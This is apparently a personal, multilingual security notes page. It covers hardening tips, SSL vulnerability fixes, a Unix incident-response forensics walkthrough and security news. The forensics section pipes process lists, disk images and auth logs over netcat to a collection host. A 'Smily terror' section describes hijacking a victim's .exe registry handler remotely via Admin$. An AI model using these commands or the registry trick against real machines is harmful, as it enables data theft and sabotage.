  • Segment and harden the perimeter - layer 3 is not enough. Don't rely on the perimeter alone.
  • Segment and harden the network layer.
  • Role base and harden servers, clients, services, and applications.
  • Patch everything! Btw, you cannot patch what you don't know you have.
  • Encrypt hard drives on exposed computers.
  • Implement strong authentication on exposed servers.
  • (Rest are on the slide deck)

url


Gmail attack

The attack is actually quite simple. First Graham needs to be able to sniff data packets and in our case the open Wi-Fi network at the convention fulfilled that requirement. He then ran Ferret to copy all the cookies flying through the air. Finally, Graham cloned those cookies into his browser - in easy point-and-click fashion - with a home-grown tool called Hamster. He added that the Hamster tool will be released in the next few days.

url


Ariane Flight 501 failure (Ada code)

There was indeed a chain of events that doomed the flight: an out-of-range data condition in a calculation that wasn't even needed, the by-design throwing of an uncaught exception, and the automatic shutdown of the launch vehicle's active and backup inertial reference systems. As the result of the unanticipated failure mode and a diagnostic message erroneously treated as data, the guidance system ordered violent attitude correction. The ensuing disintegration of the over-stressed vehicle triggered the pyrotechnic destruction of the launcher and its payload.

url


How to extract data from victim system
  • unplug network cable and plug it into a dedicated hub.
  • insert forensic CDR and close door
  • log as root onto system console
  • pray "df" hasn't been altered and verify CD has been mounted as "/mnt/cdrom"
  • invoke a good shell :
    /mnt/cdrom/staticbin/ksh
  • make sure only good commands will be used :
    PATH=/mnt/cdrom/staticbin;export PATH
  • save victim's data in this (volatility) order :
    1. System Memory
    2. Processes
    3. Network Connections
    4. File Systems
    5. Disk Blocks
  • save processes :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > processes.out
    2. victim system # ps -aef | netcat 192.168.1.50 31337
  • save network conections :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > netstat.out
    2. victim system # netstat -an | netcat 192.168.1.50 31337
  • save partition information :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > partitions.out
    2. victim system # df -k | netcat 192.168.1.50 31337
  • save raw disk data :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > root.dd
    2. victim system # dd if=/dev/hda1 | netcat 192.168.1.50 31337
  • save networking status :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > ifconfig.out
    2. victim system # ifconfig -a | netcat 192.168.1.50 31337
  • save secure log file :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > securelog.out
    2. victim system # cat /var/log/secure | netcat 192.168.1.50 31337
  • save login records :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > last.out
    2. victim system # last | netcat 192.168.1.50 31337
  • save command history :
    1. safe system (with IP = .1.50) # netcat -l -p 31337 > bashhistory.out
    2. victim system # cat DIR/BashHistoryFile | netcat 192.168.1.50 31337

    It shows 2 files were downloaded (by PID 6208) : Team.tgz & awu.tgz

  • Recovery of Deleted Files:
    1. create a list of the inodes of deleted or removed files
      # ils -rf ext2fs root.dd > deleted.inodes
    2. get i-node info
      # cat deleted.inodes | cut -d "|" -f1 > inodes
    3. recover our files
      # for file in `cat inodes` do icat -h root.dd > recovered/${file} done
  • Analyze recovered files :
    1. find "zipped" files : "# file * | grep -i zip"
    2. unzip them : "# gunzip file1.gz"
    3. investigate them : "# file file1"
  • Maybe we could use "unrm" and/or "lazarus".
  • Analyze suspected file (sn.zip) :
    1. display contents : "$ zipinfo -lvh sn.zip"
    2. unzip
    3. display MAC info : "$ stat sn.dat"
    4. verify file size : "ls -l" versus "zipinfo -lvh"
    5. verify MD5 : "$ cat sn.md5" versus "$ md5sum sn.dat"
    6. display text : "$ strings -a sn.dat" : see there is compiler info inside
    7. display file type : "$ file sn.dat" : it is an executable
    8. start data capture on safe system : "$ tcpdump -l -n -nn -s 0 -w LOGFILE IP_OF_FORENSIC_SYSTEM"
    9. start suspect program without arguments : "$ strace ./sn.dat"
    10. save list of opened files : "lsof > lsof.running"
    11. start suspect program with arguments : "$ strace ./sn.dat eth0"

url


Format string magic

url



Home computers and 500GB IOMEGA

Al 500 GB hi ha :

ISOs VMs SalvaPCs {ghost & vmware} PICs T42 {raw copy}

Copies que tenim :

IOMEGA:\SalvaPCs\ | xCopy {ghost} {vmConverter} {AV} -------------------.---- ------------- ------------------- --------------------------------- -------- T42 | nov09 . . . | P4_Airis | . 154.234.650.624 P4_Maig_2008.vmdk {6h} 12/dec/2009 | Nicolau_RAP | . . . | 200608, 20 GB, 46 min . | C_Drive.v2i . Arcadi_HP | . . . | 1.919 ARKADI-PC.sv2i . | 14.746.124.288 C_Drive.v2i . Irina_Acer | . . . | . . | . .

Home computers and security audit

I'd suggest :

  • disable Task Scheduler
  • stop all unknown services
  • disable "telnet" service : sc query TlntSvr
  • close all unknown ports, also 23 (telnet) and 22 (ssh)

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Smily terror

Windows stores for .exe files a registry key which specifies what to do with a ".exe" file.

It is located at HKEY_CLASSES_ROOT\exefile\shell\open\command and normally contains the value "%1" %* which just means: do what the first parameter specifies and pass the rest of the parameters as new parameters.

As you may know, the first parameter is the full name of the .exe file to be executed.

And here we start with our nasty trick. We redirect the command line to our "application". We do this by modifying the registry key:

[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"aelaunch.exe\" %1 %*"

Now you may wonder how this will annoy anyone? Remember a default share called Admin$? And do you remember that RegEdit can connect to other machines? Bingo, just copy the executable to your victim's Admin$\system32 directory, run RegEdit and modify the registry of the victim's machine. Here you go...

url, url


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Some security threads and how to fix them

High severity ;

  • SSL certificate chain contains RSA keys less than 2048 bits
  • SSL version 2 and 3 protocol detection (POODLE)

Medium severity:

  • IETF X.509 certificate signature collision vulnerability
  • SSL RC4 cipher suites supported
  • RDP - Remote Desktop Protocol - man in the middle attack

Low severity :

  • web server cross-site-tracing vulnerability
SSL certificate chain contains RSA keys less than 2048 bits - how to fix it

Info : at least one of the X.509 certificates sent by the remote host has a key that is shorter than 2048 bits.

General fix : replace the certificate in the chain with the RSA key less than 2048 bits in length with a longer key.

To verify that the new certificate is in place, view the certificate in your web browser. The Server Public Key information will show you the bit length.

How to view certificates

Internal site for free certificate generation

SSL 2 and 3 detected - how to fix it

Summary: The SSLv2 (Secure Socket Layer version 2) and/or SSLv3 service is running.

Info: The Secure Socket Layer (SSL) protocol allows for secure communication between a client and a server.
There are known flaws in the SSLv2 protocol. A man-in-the-middle attacker can force the communication to a less secure level and then attempt to break the weak encryption. The attacker can also truncate encrypted messages.
An attacker can exploit this vulnerability to read secure communications or maliciously modify messages.

NIST has determined SSL v3.0 is no longer acceptable for secure communications, in large part due to 2014's POODLE vulnerability. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of "strong cryptography".

See also :

General fix

Configure the server to disable SSLv2 and SSLv3 and enable TLS (preferably v1.2). As usual with configuration changes, it will be necessary to restart the affected services.

You can use the following openssl command to verify if an SSLv2 connection is successful (change to -ssl3 for SSLv3):

$ openssl s_client -connect <IP Address>:<port> -ssl2

SMTP services will need to add the relevant STARTTLS options:

# openssl s_client -starttls smtp -connect <ip address>:<port> -ssl2

There are also websites that enable users to test servers on the Internet, such as http://foundeo.com/products/iis-weak-ssl-ciphers/test.cfm Server owners can also use ScanOnDemand.

Apache

For Apache/mod_ssl, ensure that httpd.conf or ssl.conf has the following directive for each SSL enabled server.

  • You can either explicitly disable both SSL versions:

    SSLProtocol ALL -SSLv2 -SSLv3
  • Or explicitly disable everything and enable TLS versions:

    SSLProtocol -ALL +TLSv1 (TLSv1.1 and TLSv1.2 are also options if available).

The old style Apache/apache_ssl is very outdated and should no longer be in use.


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SSH errors and Chrome

Chrome de vegades diu

ERR_SSL_FALLBACK_BEYOND_MINIMUM_VERSION

Una putada és el error

ERR_SSL_VERSION_OR_CIPHER_MISMATCH

Ara resulta que no puc accedir a la Nano-5 ! Explicació

Due to POODLE, Google has disabled SSLv3 in Chrome starting from version 40. Firefox has followed the suit and disabled the SSLv3 since version 34.

Solucio: old Firefox & disable upgrades !

32.0.3 +

Menu btn > Options icon > "Update" tab > "Never check for updates"

Or edit %APPDATA%\Mozilla\Firefox\Profiles\user.js and add the following, save and close, restart Firefox (prefs.js ?)

user_pref("app.update.enabled", false); // turn off application updates

Best explanation here !

Cant click "Add Exception" ?
Solution : Options -> Advanced -> Certificates -> Display Certificates -> Servers -> Add Exception -> enter "192.168.1.1"

Que nassos -es "ERR_NETWORK_CHANGED" ?


They use "peer flooding" to slow down utorrent/bittorrent.


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Chrome 68 Juliol 2018

Desde el mes de julio, url, Chrome 68 marcará como «no seguras» todas las páginas que no estén protegidas por un certificado SSL, y las consecuencias pueden ser graves. Un estudio reveló que el 87 % de los usuarios abandonan la transacción si el navegador muestra un mensaje de advertencia.


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Dark web

Tor browser - download 5.0.7 (20160105), 42 MB

Hidden wiki

Not accepted by chess.com, does not work at chess24.com (disconnect loop)


Login monitoring

Ens convé mirar si hi ha "atacs" de login() a la nostra màquina :

$ sudo tail -f /var/log/auth.log

LinuxMint incident (201602)

Mint blog

The addresses the malware was connecting to were either shut down or blocked by Kaspersky's DNS sinkhole.


Spread This Number

* 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 *

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JavScript code injection

One of the most common insecurities on the client side is HTML injection, whereby an application may unknowingly allow third parties to inject JavaScript into its security context. Today, websites and many web applications need some sort of client-side encryption. Especially since browsers remain the tool of choice when interacting with remote servers.


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URI phishing

Uniform Resource Indicators (URI) are a compact string of characters for identifying an abstract or physical resource, typically a web based Uniform Resource Locator (URL).

Henning Klevjer descr.

Attacks description [****], test page for homograph attack

url : The xn-- prefix is what is known as an "ASCII compatible encoding" prefix. It lets the browser know that the domain uses "punycode" encoding to represent Unicode characters.


Overview of Cybench CTF Challenges

Cybench CTF challenges consist of 40 professional-level Capture the Flag (CTF) tasks designed to evaluate the cybersecurity capabilities of language models. These tasks are structured to assess how effectively models can identify and exploit vulnerabilities in various cybersecurity domains.

Domains Covered - the challenges span multiple domains, including:

Domain Description Cryptography Tasks related to cryptographic protocols and primitives. Web Security Challenges focused on vulnerabilities in web applications. Reverse Engineering Tasks that require analyzing and deconstructing software. Forensics Challenges involving data recovery and analysis. Exploitation (Pwn) Tasks that test the ability to exploit software vulnerabilities. Miscellaneous A variety of other cybersecurity-related challenges.

FB on MYTHOS


Whatsapp

Messages on WhatsApp were left open to potential attackers for years, as detailed in recent leaks about Boldend – a US cyber-warfare startup – more here

Since the creation of WhatsApp, there's hardly been a moment in which it was secure: every few months researchers uncover a new security issue in the app. I wrote about this in detail 2 years ago - read here if you missed it. Nothing has changed since then.

It would be hard to believe that the technical team of WhatsApp is so consistently incompetent. Telegram, a far more sophisticated app, has never had security issues of such severity.

NSO Group

Israeli spyware dealer NSO Group is facing renewed scrutiny over the abuse of its WhatsApp hacking tools.
NSO began with two school friends, Shalev Hulio and Omri Lavie, hatching start-ups in Bnai Zion, an agricultural cooperative outside of Tel Aviv, in the mid-2000s.

The software, Pegasus, is widely regarded as the world’s most potent spyware, capable of reliably cracking the encrypted communications of iPhone and Android smartphones.

Boldend

Boldend was reported to have developed a capability to hack WhatsApp.

Boldend was backed by Founders Fund, the investment vehicle of Peter Thiel, one of Facebook’s best-known financial backers.


Google Chrome zero-day vulnerability

The vulnerability in question, CVE-2022-1364, is another 'Type Confusion in V8' one.

The emergency update takes Chrome to version 100.0.4896.127

forbes.com


Privacitat ?

  • entra al compte de gMail i despres mira la teva timeline

  • Opera "private browsing" : "CTRL" + "Shift" + "N"

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Few names


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Links

Ep ! Site under construction. Escriu-me !
Updated 20220228  
Uf !